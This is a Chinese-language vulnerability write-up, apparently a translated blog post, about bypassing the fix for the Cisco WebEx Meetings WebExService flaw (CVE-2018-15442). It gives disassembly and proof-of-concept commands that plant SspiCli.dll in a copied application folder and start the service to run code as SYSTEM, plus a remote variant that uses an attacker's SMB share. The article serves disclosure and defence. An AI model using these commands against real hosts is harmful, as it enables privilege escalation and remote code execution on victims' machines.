前一段时间，Ron Bowes在Cisco WebEx Meetings桌面版应用程序中发现了一个漏洞，该漏洞可能允许本地权限提升，或者在攻击者拥有一个用户权限的情况下，可以使用psexec以SYSTEM身份获取远程代码。该研究人员将该漏洞命名为WebExec，并且还为该漏洞设计了一个网站。
通过重新分析和尝试利用CVE-2018-15442漏洞，我们发现了原始漏洞的绕过方法。由于原始漏洞和这一绕过方法非常类似，因此Cisco决定不再发布新的CVE，我们同意这一选择。从技术上看，它是一个远程代码执行漏洞，分析触发这一漏洞的方式比介绍如何在本地进行漏洞利用要更有意义。
在WebEx的官网上，解释了WebEx的功能，可以快速总结为：
……通过WebEx Meetings，可以轻松加入会议，提供清晰的音频和视频，并具有更加简便的屏幕共享方式。我们帮助您忘记技术，只专注于重要的事情……
但是，Cisco还应该注意所使用技术的安全性。
在阅读了Ron的博客文章后，我们了解到，底层问题是WebExService使用了由用户控制的二进制文件，并将其以SYSTEM权限执行。我认为，没有比这更能简单利用的漏洞了。
重新分析漏洞
根据Ron的分享，在漏洞修复后，WebEx将会检查可执行文件是否经过WebEx的签名。
修复后的WebEx仍然允许远程用户连接到进程，并且启动进程。但是，如果进程检测到它运行了未经WebEx签名的可执行文件，那么执行将会停止。但是，他们并没有给出主机是否易受攻击的信息。
我们首先检查补丁状态，在从Cisco的CDN安装最新版本后，确认已经没有可用的更新：
接下来，我们对存储在C:\Program Files\Webex\Webex\Applications\WebExService.exe的二进制文件进行分析，可以找到一些值得关注的地方。我注意到的第一件事，就是代码只会查找一个参数类型，就是软件更新。
.text:00402DC4 loc_402DC4: ; CODE XREF: sub_402D80+1C.text:00402DC4 push offset aSoftwareUpdate ; "software-update"
.text:00402DC9 push dword ptr [esi+8] ; lpString1
.text:00402DCC call ds:lstrcmpiW
.text:00402DD2 test eax, eax
.text:00402DD4 jnz loc_402E66
.text:00402DDA push 208h ; Size
.text:00402DDF push eax ; Val
.text:00402DE0 lea eax, [ebp+Dst]
.text:00402DE6 push eax ; Dst
.text:00402DE7 call memset
.text:00402DEC add esp, 0Ch
.text:00402DEF lea eax, [ebp+Dst]
.text:00402DF5 push offset pszFile ; "ptupdate.exe"
.text:00402DFA push dword ptr [esi+10h] ; pszDir
.text:00402DFD push eax ; pszDest
.text:00402DFE call ds:PathCombineW
.text:00402E04 sub esp, 18h
.text:00402E07 lea eax, [ebp+Dst]
.text:00402E0D mov ecx, esp ; Dst
.text:00402E0F mov [esi+10h], eax
.text:00402E12 push eax ; Src
.text:00402E13 call sub_402EB0
.text:00402E18 call sub_402310 ; signature check on ptupdate.exe
.text:00402E1D add esp, 18h
.text:00402E20 test eax, eax
.text:00402E22 jz short loc_402E46 ; jump if we don't pass the check!
.text:00402E24 lea eax, [ebp+var_214]
.text:00402E2A mov [ebp+var_214], 0
.text:00402E34 push eax
.text:00402E35 push ecx
.text:00402E36 lea ecx, [edi-3]
.text:00402E39 lea edx, [esi+0Ch]
.text:00402E3C call sub_402960 ; execute "ptupdate.exe" as winlogon.exe
随后，代码将使用命令行中提供的参数ptupdate.exe去执行PathCombineW调用。这就是我停止逆向分析的地方，我甚至懒得去逆向签名检查函数以及模拟和执行的函数，因为我已经有了一个攻击的计划。
漏洞利用
所以，我们需要做的就是将C:\Program Files\Webex\Webex\Applications\*（包括ptUpdate.exe二进制文件）复制到方可或本地用户所拥有的、被用户控制的文件夹中（可以是沙箱中的目录），并找到DLL注入漏洞，或者通过删除一个DLL来强制实现。
在这时，我们并不希望应用程序的正常功能受到影响，因此我们要寻找一个不会影响应用状态的DLL，进行DLL注入。为实现这一点，我运行了我的概念证明：
mkdir %cd%\\sicopy C:\\PROGRA~1\\Webex\\Webex\\Applications\\* %cd%\\si\\*
sc start webexservice a software-update 1 %cd%\\si
事实证明，SspiCli.dll看起来像一个不错的目标。
当然，我们可以只是交叉引用43个LoadLibraryW调用，并利用其中一个。然而，我的概念证明利用需要4个命令，而不是3个。
mkdir %cd%\\sicopy C:\\PROGRA~1\\Webex\\Webex\\Applications\\* %cd%\\si\\*
copy SspiCli.dll %cd%\\si
sc start webexservice a software-update 1 %cd%\\si
如上所述，我们可以利用该技术实现远程代码执行，但不管怎样都要事先经过身份验证。
sc \\victim start webexservice a software-update 1\\attacker\share\si
总结
无论何时，只要能控制一个由高权限服务执行的文件操作路径，理论上就能够实现攻击。这一漏洞非常简单，也非常强大，因为它可以通过SMB从远程触发，同时存在一个对攻击者来说非常完美的沙箱逃逸漏洞。我相信，这一逻辑缺陷在以后会成为一个严重的漏洞，因为它们可以实现99%的操作系统级别缓解。
令人难以置信的是，Cisco居然无法在第一时间修复这一问题。他们所需要做的，只有调整为使用C:\Program Files\Webex\Webex\Applications目录的固定路径，同时删除用户控制的输入。发现该漏洞后，我将该漏洞重新命名为“WebExec重新加载漏洞”，其含义是：这个漏洞让攻击者再一次能够加载任意DLL。
最后，要感谢iDefense在漏洞通知和处置过程中的协调工作。
参考文章
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181024-webex-injection
https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
